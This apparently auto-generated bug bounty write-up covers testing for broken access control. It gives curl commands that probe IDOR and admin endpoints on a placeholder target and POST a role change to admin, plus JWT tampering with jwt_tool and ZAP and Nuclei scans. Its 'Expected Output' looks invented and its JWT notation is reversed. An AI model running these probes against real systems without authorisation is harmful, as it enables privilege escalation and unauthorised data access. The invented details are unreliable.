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Understanding an application’s underlying infrastructure is critical to discovering access control vulnerabilities. In this case, a misconfigured permission system allowed unauthorized access to sensitive data, earning a $1,750 bounty.
You Should Know:
1. Testing for Broken Access Control
Access control flaws often arise from:
- Missing role-based checks
- Insecure direct object references (IDOR)
- Improper session management
Verify using these commands:
Check API endpoints for IDOR curl -X GET "https://target.com/api/user/123" -H "Authorization: Bearer YOUR_TOKEN" Test for horizontal privilege escalation curl -X GET "https://target.com/api/admin/profile" --cookie "session=USER_SESSION_COOKIE"
2. Enumerate Application Structure
Use Burp Suite or OWASP ZAP to map API endpoints:
Automated scanning with OWASP ZAP zap-cli quick-scan --spider -o "-config api.key=YOUR_KEY" https://target.com Burp Suite engagement tools ./burpsuite_pro.sh --project-file=target_scan.burp
3. Exploiting Misconfigured JWT Tokens
If the app uses JWT, test for weak algorithms:
Decode JWT tokens echo "JWT_TOKEN_HERE" | jwt-decode Tamper with JWT using jwt_tool python3 jwt_tool.py JWT_TOKEN_HERE -T -X a
4. Bypassing Role Checks
Test for forced browsing or parameter manipulation:
Modify user role in POST request curl -X POST "https://target.com/update_role" -d "user_id=123&role=admin"
5. Automated Scanning with Nuclei
Run pre-built templates for access control flaws:
nuclei -u https://target.com -t ~/nuclei-templates/misconfiguration/
What Undercode Say:
Broken access control remains a top OWASP vulnerability. Always:
– Test every user role manually
– Fuzz API endpoints for IDOR
– Monitor session handling mechanisms
Expected Output:
[+] IDOR Vulnerability Found: /api/user/123 [+] Admin Panel Accessible via Forced Browsing [+] JWT Algorithm Exploited: None → HS256
Prediction:
As APIs grow, access control flaws will increase—automated scanning and manual testing must combine for robust security.
Relevant URLs:
References:
Reported By: Mdsrsoad Bugabrbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
